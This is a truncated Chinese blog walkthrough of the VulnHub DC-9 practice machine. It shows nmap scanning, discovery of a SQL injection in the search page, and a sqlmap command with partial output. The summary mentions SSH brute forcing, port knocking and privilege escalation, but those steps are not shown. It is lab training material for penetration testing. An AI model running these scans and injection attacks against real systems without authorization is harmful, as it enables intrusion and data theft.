2-1、VulnHub(DC 9)

本文介绍了在VulnHub上的DC 9靶机攻防练习,包括使用nmap扫描IP找到192.168.49.105,发现开放的22和80端口。通过web端的SQL注入获取用户信息,使用Hydra工具爆破SSH。接着揭示了SSH隐藏在Port-knocking机制背后,通过特定端口序列解锁。最后,通过权限提升技巧创建新管理员账户,实现了权限提升。
摘要由CSDN通过智能技术生成

DC-9

DC 9

扫描靶机IP地址

nmap scan IP

nmap -sP 192.168.49.1/24

find DC-9 IP address 192.168.49.105
在这里插入图片描述
portscan 192.168.49.105

nmap -p 1-65535 192.168.49.105

在这里插入图片描述
发现 22、80端口,但是22端口的状态是filtered

web

访问80端口
在这里插入图片描述

在’Search’ 页面中可以输入
在这里插入图片描述
测试后发现,Search 处存在sql注入
抓包保存到txt中,然后使用sqlmap

# sqlmap -r 1.txt --dbs                                                                                                                           2 ⨯
        ___
       __H__                                                                                                                                            
 ___ ___[,]_____ ___ ___  {
   1.5.5#stable}                                                                                                                
|_ -| . [']     | .'| . |                                                                                                                               
|___|_  [)]_|_|_|__,|  _|                                                                                                                               
      |_|V...       |_|   http://sqlmap.org                                                                                                             

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 23:44:24 /2021-06-17/

[23:44:24] [INFO] parsing HTTP request from '1.txt'
[23:44:24] [INFO] testing connection to the target URL
[23:44:24] [INFO] checking if the target is protected by some kind of WAF/IPS
[23:44:24] [INFO] testing if the target URL content is stable
[23:44:25] [INFO] target URL content is stable
[23:44:25] [INFO] testing if POST parameter 'search' is dynamic
[23:44:25] [WARNING] POST parameter 'se
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值